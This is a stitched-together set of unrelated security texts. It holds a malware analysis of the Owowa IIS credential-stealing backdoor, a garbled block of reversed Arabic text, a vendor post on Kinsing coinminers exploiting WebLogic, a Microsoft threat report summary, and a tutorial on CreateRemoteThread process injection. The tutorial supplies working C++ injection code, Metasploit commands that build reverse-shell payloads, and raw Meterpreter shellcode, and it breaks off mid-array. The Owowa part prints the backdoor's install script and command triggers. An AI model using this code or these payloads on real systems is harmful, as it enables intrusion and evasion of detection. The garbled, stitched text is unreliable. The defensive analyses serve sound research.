# Owowa: The Add-on that Turns Your OWA into a Credential Stealer and Remote Access Panel **Authors** Paul Rascagneres Pierre Delcher While looking for potentially malicious implants that targeted Microsoft Exchange servers, we identified a suspicious binary that had been submitted to a multiscanner service in late 2020. Analyzing the code, we determined that the previously unknown binary is an IIS module aimed at stealing credentials and enabling remote command execution from OWA. We named the malicious module ‘Owowa’ and identified several compromised servers located in Asia. ## Meet Owowa, the IIS Module You Don’t Want Owowa is a C#-developed .NET v4.0 assembly that is intended to be loaded as a module within an IIS web server that also exposes Exchange’s Outlook Web Access (OWA). When loaded this way, Owowa will steal credentials that are entered by any user in the OWA login page and will allow a remote operator to run commands on the underlying server. The malicious module was most likely compiled between late 2020 and April 2021. The assembly default “LegalCopyright” field shows “2020” as a date, and the most recent Owowa sample we could find was detected in April 2021 in our telemetry. The assembly contains a reference to a debugging database (PDB) in its “File” property, and its public key token is set to “b07504c8144c2a49”. We determined that Owowa is intended to be launched as an IIS module because the only relevant code is placed in the class ExtenderControlDesigner, which implements an IIS-specific interface (IHttpModule). Owowa is specifically designed to inspect HTTP requests and responses by hooking the PreSendRequestContent event. This event is supposedly raised when a web application of IIS is about to send content to the client (but according to Microsoft, such an event should never be used in an IHttpModule instance because it is likely to cause an application or server crash). We determined that Owowa is specifically targeting OWA applications of Exchange servers because its code is purposely ignoring requests from OWA-specific monitoring of account names that start with the HealthMailbox string. The malicious module is actually designed to log credentials of users that successfully authenticated on the OWA authentication web page. Successful authentication is verified by checking that the OWA application is sending an authentication token back to the user. If that’s the case, the username, password, user’s IP address, and current timestamp are stored in a file at `C:\Windows\Temp\af397ef28e484961ba48646a5d38cf54.db.ses`. Data are encrypted using the RSA algorithm, with a hardcoded public key stored as an XML blob: ``` <RSAKeyValue><Modulus>vTxV8wUJ0PoO2yu/Pm/aICbsT+nFwHXouNo623VIVMl6LY4R96a8cpMTHw92rs0foNcVJB8/SYQvL/6Ko9aOv1K3 ``` A malicious operator can interact with Owowa by entering specifically crafted commands within the username and password fields in the OWA authentication page of a compromised server. Owowa will respond to these commands through the IIS server and display the results to the operator, instead of the expected OWA login error messages: - If the OWA username is `jFuLIXpzRdateYHoVwMlfc`, Owowa will return the encrypted credentials log, encoded in base64. - If the OWA username is `Fb8v91c6tHiKsWzrulCeqO`, the malicious module deletes the content of the encrypted credentials log and returns the OK string (encrypted using RSA). - If the OWA username is `dEUM3jZXaDiob8BrqSy2PQO1`, Owowa executes the command that is typed in the OWA password field using PowerShell on the compromised server. The result of the command is encrypted (as previously described) and returned to the operator. Owowa contains an empty and unused additional assembly, stored as a compressed resource, as well as an additional AssemblyLoader class from a Costura namespace. These are most likely the result of using the Fody bytecode weaving tool and its Costura add-in from the build chain of Owowa’s developer. Fody allows .NET developers to dynamically add features to assemblies at compilation time by weaving, or dynamically modifying the assembly bytecode. In particular, Costura is aimed at packaging dependencies, by adding these dependencies as compressed resources to the assembly. These Costura by-products could either be leftovers from the developer’s build chain or an obfuscation attempt that is still being developed, since Owowa’s malicious code could potentially be hidden as a compressed resource within a Costura-built assembly. ## IIS Modules Management: Loading, Finding, and Getting Rid of Owowa Owowa is loaded (for all compatible applications run by a given IIS server, including OWA) by the following PowerShell script: ``` [System.Reflection.Assembly]::Load('System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'); $publish = New-Object System.EnterpriseServices.Internal.Publish; $name = (Get-Item PATH\ExtenderControlDesigner.dll).FullName; $publish.GacInstall($name); $type = 'System.Web.Extensions.Resource.ExtenderControlDesigner,' + [System.Reflection.AssemblyName]::GetAssemblyName($name).FullName; Appcmd.exe add module /name:ExtenderControlDesigner /type:"$type" ``` The module is first registered in the global assembly cache and can then be loaded by the IIS server that is running the OWA application. This setup technique is very reminiscent of one previously used by an unknown threat actor and described by RSA in March 2020 as part of an incident investigation that also involved malicious HTTP modules. Malicious IIS modules, and Owowa in particular, can be identified by using the command `appcmd.exe` or the IIS configuration tool, which lists all the loaded modules on a given IIS server instance: ``` C:\Windows\System32\inetsrv>appcmd.exe list modules | findstr ExtenderControl MODULE "ExtenderControlDesigner" ( type:System.Web.Extensions.Resource.ExtenderControlDesigner,ExtenderControlDesigner, Version=1.0.0.0, Culture=neutral, PublicKeyToken=b07504c8144c2a49, preCondition: ) ``` ## Owowa Victims We identified a cluster of targets in Asia with compromised servers in Malaysia, Mongolia, Indonesia, and the Philippines. Most of them belong to government organizations, except for one that belongs to a government-owned transportation company. While we did not discover further compromised servers, we assess with medium to high confidence that additional organizations may also have been targeted in Europe, based on additional data that we provided to customers of our threat intelligence services and that we cannot publicly disclose. ## Attribution We couldn’t find any link between Owowa and any known threat actor, due to insufficient data regarding Owowa’s deployment. However, the developer behind Owowa failed to remove the PDB paths in the two identified samples, which both start with `C:\Users\S3crt\source\repos\ClassLibrary2\`, suggesting a specific username. Searching for potentially related resources, we identified a Keybase account sharing the same username – s3crt – with the aforementioned PDB paths. Notably, it shares offensive tools, such as Cobalt Strike and Core Impact. The same username also exists as an account on RAID Forums, demonstrating an interest in Core Impact, a popular penetration testing software suite. Finally, we identified a blog profile on CSDN displaying both the s3crt and z7ys as usernames. The user shows an interest in hacking techniques and distributes files that supposedly contain leaked Cobalt Strike source code, dating to November 2018. Leveraging these clues, the PDB paths and corresponding username, we identified several additional malicious binary files that may have been developed or packaged by the same developer: - A binary loader (MD5: D4BDFB90D9AA6D573F3FF3A755E2E630) containing a PDB path that shares a common root with Owowa’s: `C:\Users\S3crt\source\repos\Shellcode_inject\Release\artifact32.pdb`. This binary was submitted to a multiscanner service in September 2021 but was first spotted in the wild in August 2020. It is designed to decode (XOR) and execute an embedded shellcode. The shellcode was downloading a malicious payload from the IP 150.109.111[.]208 in August 2020. The server was not serving such a payload at the time of our investigation, though based on our telemetry we assume with high confidence it was related to Cobalt Strike. - We identified another similar binary loader (MD5: 3C5654DDD7998AE39717F7E3D079BD93), first spotted in August 2020, that supposedly also loaded a Cobalt Strike-like payload from 150.109.111[.]208 in August 2020. - Finally, we identified an additional binary loader (MD5: 3DB7101794CB166CA672814728F4E8D7) that was detected in March 2021 connecting to the domain s3crt[.]biz that also triggered execution of Cobalt Strike payloads. The loader’s PDB is `C:\Users\Administrator\source\repos\Artifact\x64\Aritfact_big\Artifact.pdb`, which is similar in structure to those involving s3crt. It should be noted that the s3crt username is a simple derivation of the English word “secret” and could very well be used by multiple individuals. Hence, we cannot be certain that the identified accounts and files are actually linked to the developer of Owowa or related to each other. However, the combination of corresponding usernames, PDB paths, project names, and interests in malicious tools or tactics are notable. ## Conclusion The malicious module described in this post represents an effective option for attackers to gain a strong foothold in targeted networks by persisting inside an Exchange server. For malicious operators, there are several benefits: - An IIS module stays persistent on a compromised system even to an Exchange software update. - Malicious capabilities can easily be triggered by directly sending seemingly innocuous requests to exposed web services – in this case, authentication requests to OWA. Malicious requests like this can be difficult to detect with network monitoring. - IIS modules are not a common format for backdoors, especially when compared to typical web application threats like web shells and can therefore easily be missed during standard file monitoring efforts. - The attacker can leverage the module to passively steal credentials from users that legitimately access web services, which presents a stealthier alternative to sending phishing emails. Unfortunately, we were unable to retrieve enough data to associate the discovered malicious module with any infection chain or post-infection activities. Earlier this year, the ProxyLogon vulnerabilities demonstrated the impact of Exchange server compromise, as well as how quickly threat actors are able to jump on the bandwagon to leverage critical flaws and pursue their goals. It’s possible that malicious operators leveraged these server vulnerabilities to initially deploy Owowa. While showing creativity in Owowa’s development, the creator ignored explicit warnings from Microsoft regarding several risky development practices for HTTP modules, which may result in server crashes. Moreover, sensitive information on the development environment (PDB paths, Fody by-products) remained in publicly available samples. Further samples or online profiles can be weakly linked to this kind of information. The operators behind Owowa demonstrated an interest in government organizations in Asia and specifically South-East Asia. Such targeting may fit a threat actor seeking to gather intelligence on ASEAN’s agenda and member states’ foreign policies. However, the practices exhibited by what is likely an inexperienced developer don’t appear to correspond with such strategic targeting. ## Indicators of Compromise **Owowa:** - af6507e03e032294822e4157134c9909 - ea26bed30da01f5d81c3d96af59424acf2fbb14b - 8e1e0ddeb249b9f8331b1562498d2cbd9138ec5e00c55a521d489e65b7ef447d **Possibly related malicious loaders:** - d4bdfb90d9aa6d573f3ff3a755e2e630 - 2e5a752f8d1c3b0ba819381c4539006d40692ee9 - dac4c2e5318bf0feca535b2116bd48e72d8f36ff7ec8f3bd176fd7e57bd37fc1 - 3c5654ddd7998ae39717f7e3d079bd93 - 8429a32acfed3f010502a5b88199cc0367f92fd7 - 54fecd3227a435c17463f543eacdb7482fc7b2fde4db1d12d16aab94dfdf4085 - 3db7101794cb166ca672814728f4e8d7 - f8b5d7370b56e127449760701b97bf8f43d16852 - f167279c692a14fee15bb1f8eb8a9b6edd43cf74d2b590b27129fd69e6b3de88 **PDB Paths:** - C:\Users\S3crt\source\repos\ClassLibrary2\obj\Release\ExtenderControlDesigner.pdb - C:\Users\S3crt\source\repos\ClassLibrary2\obj\Release\ClassLibrary2.pdb - C:\Users\S3crt\source\repos\Shellcode_inject\Release\artifact32.pdb - C:\Users\Administrator\source\repos\Artifact\x64\Aritfact_big\Artifact.pdb **Possibly related Cobalt Strike C2:** - 150.109.111[.]208 **Possibly related suspicious domain:** - s3crt[.]biz
# ﻚﺣﺎﻓﺻﻟا ﻲﻟا ﻪﻨﻋ "ﺔﺤﻔﺼﻟا هﺬﻫ ﻞﻘﻧ وأ ﺮﯿﯿﻐﺗ ﻢﺗ ﺎﻤﺑرو ،ًاﺮﺧﺆﻣ ﻊﻗﻮﻤﻟا ﺚﯾﺪﺤﺗ ﻢﺗ ﺪﻘﻟ .ناﻮﻨﻌﻟا اﺬﻫ ﻰﻠﻋ ةدﻮﺟﻮﻣ ﺮﯪﻏ ﺎﻬﺘﺒﻠﻃ ﻲﺘﻟا ﺔﺤﻔﺼﻟا ،ًاﻮﻔﻋ ﻪﻨﻋ ﺚﺤﺒﺗ ﺎﻤﻋ لﻮﺻﻮﻟا ﻲﻓ ﻚﺗﺪﻋﺎﺴﻤﻟ هﺎﻧدأ ﻂﺑاوﺮﻟا ةرﺎﯾﺰﺑ ﻢﻗ ﻚﺣﺎﻓﺻﻟا ﻲﻟا ةدﻮﻌﻟا"
# A Post-exploitation Look at Coinminers Abusing WebLogic Vulnerabilities This blog entry details how Trend Micro Cloud One™ – Workload Security and Trend Micro Vision One™ effectively detected and blocked the abuse of the CVE-2020-14882 WebLogic vulnerability in affected endpoints. By: Sunil Bharti September 14, 2022 We have recently observed malicious actors exploiting both recently disclosed and older Oracle WebLogic Server vulnerabilities to deliver cryptocurrency-mining malware. Oracle WebLogic Server is typically used for developing and deploying high-traffic enterprise applications on cloud environments and engineered and conventional systems. One of the older vulnerabilities that is still being actively exploited by malicious actors is CVE-2020-14882, a remote code execution (RCE) vulnerability that takes advantage of improper input validation in Oracle WebLogic Server. This vulnerability affects versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0, and can be exploited by a remote unauthenticated attacker via sending a crafted HTTP request to the victim server resulting in RCE. It also has a CVSS v3.0 score of 9.8. Though we have observed that many malicious actors are using this vulnerability to deploy different malware families, this blog will focus on Kinsing malware activity. Based on our analysis, most of the exploits did not show special characteristics or features. However, we have observed that the downloaded shell and Python scripts went through a lengthy list of actions, including disabling basic operating system (OS) security features such as Security-Enhanced Linux (SELinux), watchdog timers, and iptables, and disabling cloud service provider’s agents. Despite being an older vulnerability, malicious actors are still actively weaponizing CVE-2020-14882 to gain a foothold in victim organizations. ## Using Workload Security to Detect WebLogic Vulnerability Exploitation Workload Security’s correlation of telemetry and detections provided the initial security context in this campaign, which allowed security teams and analysts to track and monitor the malicious actor’s activities. The following Workload Security modules worked to detect the exploitation of CVE-2020-14882 on vulnerable systems: ### Intrusion Prevention System Module Workload Security’s intrusion prevention system module can tap into incoming traffic and effectively block and detect malicious network traffic. This module includes multiple IPS rules that can block the vulnerability exploitation of the WebLogic server. One of these is IPS rule 1010590 - Oracle WebLogic Server Remote Code Execution Vulnerabilities (CVE-2020-14882, CVE-2020-14750 and CVE-2020-14883), which can detect and block the exploitation of vulnerabilities assigned to both CVE-2020-14882 and CVE-2020-14883. ### Antimalware Module This module provides real-time protection against the exploitation of this vulnerability using behavior-monitoring features. ### Web Reputation Module The web reputation module protects systems against web threats by blocking access to malicious URLs. In our investigation, this module immediately identified and blocked the wb.sh script’s attempt to download the Kinsing malware. ### Activity Monitoring Module This module can detect process, file, and network activities on endpoints that are running the Cloud One Workload Security solution. ## A Closer Look at the WebLogic Vulnerability Exploitation In our investigation of this Kinsing campaign, Trend Micro Vision One provided real-time details into the paths and events related to this attack. This section provides insights on the activities performed by the downloaded shell script, the detections provided by the Trend Micro Cloud One and Trend Micro Vision One solutions, and how the said solutions provide information on every step of the malware's behavior. After the successful exploitation of the vulnerability, the wb.sh file was downloaded into the host machine. In infected machines that do not run Workload Security and Vision One, it would attempt to perform the following malicious actions: 1. The script would check if the `/tmp/zzza` file was present, which would then trigger the script to stop. Otherwise, it would create an empty file and perform the other actions. It is a flag used to verify that two or more instances are not running on the same host. This file can also be used to stop further infections if created manually. 2. The script would increase the resource limit using the `ulimit` command and remove the `/var/log/syslog` file. 3. It would make multiple files mutable so that it can update them. 4. It would also disable multiple security features within the system. 5. It would disable “alibaba,” “bydo,” and “qcloud” cloud service agents. 6. Like other cryptocurrency-mining malware, it would start removing or killing other cryptocurrency miners’ processes within the infected system. 7. It would also remove some Docker images that belonged to other cryptocurrency-mining malware. 8. Until this point, the script worked as a stager — it would remove the files and processes that were related to other cryptominers and malware families. It would also disable security features and modify the attributes of important files so that they can be manipulated. After the script performs all these steps, it would then download the Kinsing malware. 9. It would check if the user was root or not and would then select the path and utility (wget and curl) to download the malicious binary. 10. It would then create a cronjob to download the wb.sh script. ## Observed Attack Techniques (OATs) Observed attack techniques (OATs) are generated from individual events that provide security value. To investigate possible attempts of exploitation using this vulnerability, analysts can look for these OAT IDs from many other helper OAT triggers that can indicate suspicious activities on the affected host. ## How Trend Micro Vision One and Trend Micro Cloud One – Workload Security Can Help Thwart Vulnerability Exploitation In this blog entry, we discussed how malicious actors exploited a two-year-old vulnerability and attempted to deploy the Kinsing malware into a vulnerable system. The successful exploitation of this vulnerability can lead to RCE, which can allow attackers to perform a plethora of malicious activities on affected systems. This can range from malware execution, as in the case of our analysis, to theft of critical data, and even complete control of a compromised machine. Trend Micro Vision One helps security teams gain an overall view of attempts in ongoing campaigns by providing them a correlated view of multiple layers such as email, endpoints, servers, and cloud workloads. Security teams can gain a broader perspective and a better understanding of attack attempts and detect suspicious behavior that would otherwise seem benign when viewed from a single layer alone. Meanwhile, Trend Micro Cloud One – Workload Security helps defend systems against vulnerability exploits, malware, and unauthorized change. It can protect a variety of environments such as virtual, physical, cloud, and containers. Using advanced techniques like machine learning (ML) and virtual patching, the solution can automatically secure new and existing workloads both against known and new threats. ## MITRE ATT&CK Technique IDs | Technique | ID | |---------------------------------------------------------------------------|-------------| | Exploit Public-Facing Application | T1190 | | Command and Scripting Interpreter: Unix Shell | T1059.004 | | Resource Hijacking | T1496 | | Indicator Removal on Host: Clear Linux or Mac System Logs | T1070.002 | | File and Directory Permissions Modification: Linux and Mac | T1222.002 | | Impair Defenses: Disable or Modify System Firewall | T1562.004 | | Indicator Removal on Host: File Deletion | T1070.004 | | Scheduled Task/Job: Cron | T1053.003 | | Impair Defenses: Disable Cloud Logs | T1562/008 | ## IOCs **URLs:** - hxxp://91[.]241[.]19[.]134/wb.sh - hxxp://185[.]14[.]30[.]35/kinsing - hxxp://185[.]14[.]30[.]35/wb.sh - hxxp://195[.]2[.]79[.]26/kinsing - hxxp://195[.]2[.]79[.]26/wb.sh - hxxp://195[.]2[.]78[.]230/wb.sh - hxxp://193[.]178[.]170[.]47/wb.sh - hxxp://178[.]20[.]40[.]200/wb.sh - hxxp://94[.]103[.]89[.]159/wb.sh - hxxp://185[.]231[.]153[.]4/wb.sh - hxxp://195[.]2[.]85[.]171/wb.sh - hxxp://80[.]92[.]204[.]82/wb.sh - hxxp://195[.]2[.]84[.]209/kinsing - hxxp://193[.]178[.]170[.]47/kinsing - hxxp://178[.]20[.]40[.]200/kinsing **File hashes:** - SHA-256: 020c14b7bf5ff410ea12226f9ca070540bd46eff80cf20416871143464f7d546 - Detection name: Trojan.SH.CVE20207961.SM - SHA-256: 5D2530B809FD069F97B30A5938D471DD2145341B5793A70656AAD6045445CF6D - Detection name: Trojan.Linux.KINSING.USELVCR22 **IP addresses:** - 212[.]22[.]77[.]79 - 185[.]234[.]247[.]8 - 185[.]154[.]53[.]140
# Microsoft Digital Defense Report **September 2020** ## Introduction The global events of the past 12 months have brought unprecedented change to the physical and digital worlds. Cybercrime, however, is a constant. We’ve seen that cybercriminals continue—and sometimes escalate—their activity in times of crisis. Defending against cybercriminals is a complex, ever-evolving, and never-ending challenge. But knowledge is power. For security professionals to create successful defense strategies, they need more diverse and timelier insights into the threats they are defending against. We’re proud to provide the global community with the latest in a long series of security intelligence reports. The Microsoft Digital Defense Report is a reimagining of Microsoft’s Security Intelligence Report (SIR), first published in 2005, and it brings together more insights, from more teams, across more areas of Microsoft than ever before targeting a broader audience for consumption. Microsoft serves billions of customers globally, allowing us to aggregate security data from a broad and diverse spectrum of companies, organizations, and consumers. Our unique position helps us generate a high-fidelity picture of the current state of cybersecurity, including indicators to help us predict what attackers will do next. This picture is informed by over 8 trillion security signals per day. These signals are collected with customer privacy in mind. The data we collect depends on the context of your interactions with Microsoft and the choices you make, including your privacy settings and the products and features you use. ## Unique insights informed by trillions of signals Microsoft invests significantly to increase and improve the knowledge we derive from our telemetry. These investments deliver the highly synthesized and integrated insights that we share here. The goal of this report is to help organizations understand how cybercriminals are shifting their modes of attack and the best ways to combat those attacks. We’ve approached the writing and sharing of this report in the spirit of enabling the community to benefit from the insights, observations, and transparency generated by our unique mission and vantage point. ## Digital defense: Our 2020 focus areas 2020 has brought major disruptions to both the physical and digital worlds, and these changes are also evident in the cyberthreat landscape. Certain types of attacks have escalated as cybercriminals change tactics, leveraging current events to take advantage of vulnerable targets and advance their activity through new channels. Change brings opportunity, for both attackers and defenders, and this report will focus on the threats that are most novel and relevant to the community in this moment. Looking at the data and signals from the cross-company teams, three top-level areas came into the sharpest focus: cybercrime, nation state threats, and the remote workforce. ## The state of cybercrime Cybercrime is a business. Like any other business, there’s a need to innovate to be profitable and successful. Email phishing in the enterprise context continues to grow and has become a dominant vector. Given the increase in available information regarding these schemes and technical advancements in detection, the criminals behind these attacks are now spending significant time, money, and effort to develop scams that are sufficiently sophisticated to victimize even savvy professionals. A key area we address in this section is the opportunistic nature of cybercriminals as they capitalized on interest and fear related to the COVID-19 pandemic and other disruptive events. As the virus spread globally, cybercriminals pivoted their lures to imitate trusted sources like the World Health Organization (WHO) and other national health organizations, in an effort to get users to click on malicious links and attachments. We share leading indicators of where attacks might be headed next, as we provide a look into adversarial machine learning (ML), attacks on ML systems, and why it’s so important for organizations to take steps to secure them. ## Security and the remote workforce Almost overnight, the workforce of thousands of organizations around the world became entirely remote. School closures forced millions of students to rapidly transition to learning from home—and added significant challenges for parents and caretakers. Although workforces around the world, regardless of size, have been trending toward mobility in some aspects of their operations, few companies and learning institutions were set up to operate 100% remotely. Operational tasks like software or device patching and updates had previously been accomplished when mobile workers routinely returned to the office, but after the COVID-19 outbreak, this option temporarily disappeared. At Microsoft, COVID-19 became a catalyst for managing a remote workforce with immediacy and at scale. In this chapter, we take a closer look at three important areas of consideration for an at-scale remote workforce: infrastructure, data, and people. Architecture and infrastructure designed to support an on-premises workforce isn’t well-equipped to support fully remote workers. ## Nation state threats Nation state actors are well-funded, well-trained, and have more patience to play the “long game,” which can make identification of anomalous activity more difficult. Like cybercriminals, they watch their targets and change techniques to increase their effectiveness. To protect our customers, Microsoft spends significant resources monitoring and disrupting nation state attacks attempted on our platform. In this section, we explain the four main approaches Microsoft employs to thwart nation state actors: technology, operations, legal action, and policy. We also provide our analysis of the intent behind nation state threats and how to defend against them. ## How to read this report To help you get the most out of this report, we’ve incorporated navigational elements throughout to increase readability. - **Telemetry icons**: These guide you to areas that show you what we’re seeing. - **Best practice icons**: These guide you to our recommended controls. - **Actionable learnings**: Located at the end of the report, these provide a summary based on industry guidance and what we’ve seen work best for Microsoft and our customers. - **Glossary**: A clarification of acronyms and terminology, located at the end of the report. - **Learn more**: Resources and references for deeper technical information and further reading are listed in each chapter. ## In focus: Supply chain security For years Microsoft has been tracking threat actors who use supply chain compromise as an entry point for attacks. Supply chain attacks are particularly insidious because they take advantage of the trust that users and organizations place in the hardware, software, and third-party services they use. The increased number of supply chain attacks over the past few years has become an important topic in many cybersecurity conversations and is a growing source of concern across the global supply chain. The past 12 months have been an unprecedented time of focus on supply chain security, given the acceleration of interdependencies resulting from changes in global remote workforces in response to COVID-19, as well as new and evolving regulations in the United States and Europe. In this section, we focus our observations and recommendations for supply chain security on third-party services, open-source software, and IoT hardware and conclude with a look at changes to the regulatory landscape. ## Recommendations - Map IoT assets and apply security policies to reduce the attack surface and the potential risk of implementing IoT technologies. - Make sure to use a different network for IoT devices and be familiar with all exposed interfaces. This report aims to provide insights and guidance to help organizations navigate the evolving landscape of cybersecurity threats and enhance their defenses against cybercrime and nation state threats.
# Process Injection using CreateRemoteThread API **Gurkirat Singh** **April 11, 2022** **Windows** CreateRemoteThread is the oldest method of process injection, and it is easily detectable. However, this establishes the foundations for process injection and code execution. This blog post will provide you with a thorough and practical explanation of how it works. Hello World! Malware developers work hard to prevent the detection of their code from the endpoint detection systems that use more advanced mechanisms to find suspicious activity on the system. I will be discussing one of the oldest and most easily detectable methods to get started with process injection. Process injection is a technique used in offensive security to circumvent the EDR detection by executing the program in the context of another legitimate process like svchost.exe, explorer.exe, or any other Windows process. Since the malicious code is running in the address space of the different processes, it will also inherit all the privileges of the target process and can be used for privilege escalation as well. ## Understanding the Theory behind this Technique It is very noisy to create a process directly from an image file. Normal users can see it in the task manager and might kill it. The antimalware systems will kill them even before the user notices. To keep the compromise off the radar, the malware developers try to run certain pieces of code in the context of a different process. This is basically called process injection. Running the piece of code in different processes can give you a different set of privileges and access rights on the system and that can be exploited further to gain access to the system's highest privileged user for persistence or circumvent the detection mechanism in order to carry out further in the post-exploitation phase. In this post, I will show you how to execute a meterpreter shellcode in the remote thread and also load the DLL and execute the DllMain function. If you are new to libraries, I would recommend you to read about loading DLLs using C++ in Windows and reading and writing into the process's memory before moving forward. The attacker processes perform certain steps in order to successfully inject a DLL or a shellcode into another process memory and run a thread in that process containing the execution steps of that shellcode or DLL: 1. Open the process handle with appropriate permissions. 2. Write the shellcode or path of DLL into the process memory. 3. Create the remote thread and provide the address or LoadLibrary function when DLL is selected or the base address of the shellcode in the remote memory. The shellcode is directly executed on the system without passing through the compiler. A shellcode written in x64 syntax can only get executed in the 64-bit system. Similarly, the x86 shellcode will only work in the 32-bit compatible processors. This is because of the limited set of instructions and the address space on the different architectures. ## Injecting a DLL from Disk into the Process Memory Let's start by opening the process handle with `PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD` access rights that will allow us to allocate the memory in the remote process and write the contents of the DLL path from the current process address to the remote process address space and later create a thread in the process from the attacker process. ```cpp HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, dwPID); if (hProcess == NULL) { PrintError("OpenProcess()", TRUE); return 0x1; } ``` You must be thinking about why it is required to have memory allocation and WriteProcessMemory operations in the first place, not just use the data from the current process. Recall that the process can perform read and write by default to their address space only. The functions we will be using are going to by default look for the addresses in the target process address space. This will be later required by the `LoadLibraryA` function. To write into the process address, you must first allocate a buffer. Let's do this with the `VirtualAllocEx` function which accepts process handle to specifically perform memory allocation in the remote process. After this, you need to call `WriteProcessMemory` to copy the DLL path provided as the second CLI argument. ```cpp LPVOID lpBaseAddress = VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (lpBaseAddress == nullptr) { PrintError("VirtualAllocEx()", TRUE); return 0x0; } if (!WriteProcessMemory(hProcess, lpBaseAddress, (LPCVOID) argv[2], strlen(argv[2]), nullptr)) { PrintError("WriteProcessMemory()", TRUE); } ``` Now to execute the instructions in the DllMain function of the library, you need to load it with the `LoadLibrary` function. The `CreateRemoteThread` expects an address of the routine and also allows passing additional function arguments. Now all you need is the address of the `LoadLibrary` function. The function is defined in the `Kernel32` library which is mapped to the same starting address of every process while the operating system is still running. So this means that the address `LoadLibraryA` in process A is identical to that in process B. The concrete is not documented in the Microsoft documentation but what I and other developers think is that Windows has to inject certain DLLs (Kernel32 is one of them) into every process to make the program work. So mapping these DLLs to different addresses for each program will add another overhead to the loader. But this address will be randomized every time Windows is booted because of the Address Space Layout Randomizer. ```cpp HMODULE hKernel32 = GetModuleHandleA("Kernel32"); if (hKernel32 == NULL) { VirtualFreeEx(hProcess, lpBaseAddress, 0x0, MEM_RELEASE); lpBaseAddress = nullptr; CloseHandle(hProcess); hProcess = NULL; PrintError("GetModuleHandleA()", TRUE); return 0x0; } FARPROC pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA"); ``` Now all you need is to call the `CreateRemoteThread` function with process handle, address to the `LoadLibraryA` function retrieved from the above snippet and pass the buffer containing the path of the DLL. ```cpp HANDLE hThread = CreateRemoteThread(hProcess, nullptr, NULL, (LPTHREAD_START_ROUTINE) pLoadLibraryA, lpBaseAddress, NULL, nullptr); if (hThread == NULL) { VirtualFreeEx(hProcess, lpBaseAddress, 0x0, MEM_RELEASE); lpBaseAddress = nullptr; CloseHandle(hProcess); hProcess = NULL; PrintError("CreateRemoteThread()", TRUE); return 0x0; } std::cout << "Injected DLL\n"; ``` ## Creating Malicious DLL via Metasploit To make things simpler, let's create the malicious DLL via Metasploit and use that to inject it into the target process. Use the following steps in Metasploit to create a DLL with reverse TCP PowerShell payload and exit function type "Thread". ```bash msf6 > use payload/windows/x64/powershell_reverse_tcp msf6 payload(windows/x64/powershell_reverse_tcp) > set exitfunc thread msf6 payload(windows/x64/powershell_reverse_tcp) > set lhost 192.168.1.7 msf6 payload(windows/x64/powershell_reverse_tcp) > set lport 4444 msf6 payload(windows/x64/powershell_reverse_tcp) > generate -f dll -o exploit.dll ``` The EXITFUNC is basically the cleanup action for the payload which instructs the CPU on the target system to exit gracefully. In this case, I have used thread because when the payload execution is no longer needed, it should call the `ExitThread()` function instead of `ExitProcess()`, which will terminate only the current thread created by `CreateRemoteThread`. ## Running the DLL Exploit The application you are injecting into will be running in the different context of environment variables or the current working directory. If the DLL is not found in the search order, it will fail and the injected one will not execute. You are supposed to pass the absolute path of the DLL so that it gets copied into the target process and loaded regardless of the search order. Once the DLL is injected into the target process, you can see the modules in the process explorer tool containing the name and path of the DLL. You can check out the demonstration of the above code in the following video, where a reverse PowerShell connection on the attacker machine is started as soon as the DLL is injected into the Notepad.exe process. ## Injecting a Shellcode into Process Memory DLL is loaded from the disk and such operations are even noisier and leave fingerprints on the system which can then be analyzed by the DFIR teams and proactively monitored by the EDR systems. So what if we can somehow inject our payload in a more stealthy manner? Well, as soon as the program exits, the RAM is then freed and allocated to different processes. So if we can somehow inject the code from memory, it can bypass more detections and make it stealthier than the DLL trick. Remember that shellcode can be directly injected from the memory and executed right away. So let's first have the shellcode ready using meterpreter and then use it in the code. ```bash msf6 > use payload/windows/x64/meterpreter/reverse_tcp msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 192.168.1.7 msf6 payload(windows/x64/meterpreter/reverse_tcp) > set exitfunc thread msf6 payload(windows/x64/meterpreter/reverse_tcp) > generate -f c ``` In my case, I got the following shellcode. It can be different based on your LHOST option value. ```c unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b" "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x44\x8b" "\x40\x20\x50\x49\x01\xd0\x8b\x48\x18\xe3\x56\x4d\x31\xc9\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1" "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45" "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00" "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" "\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x07\x41\x54\x49\x89\xe4" "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68" "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a" 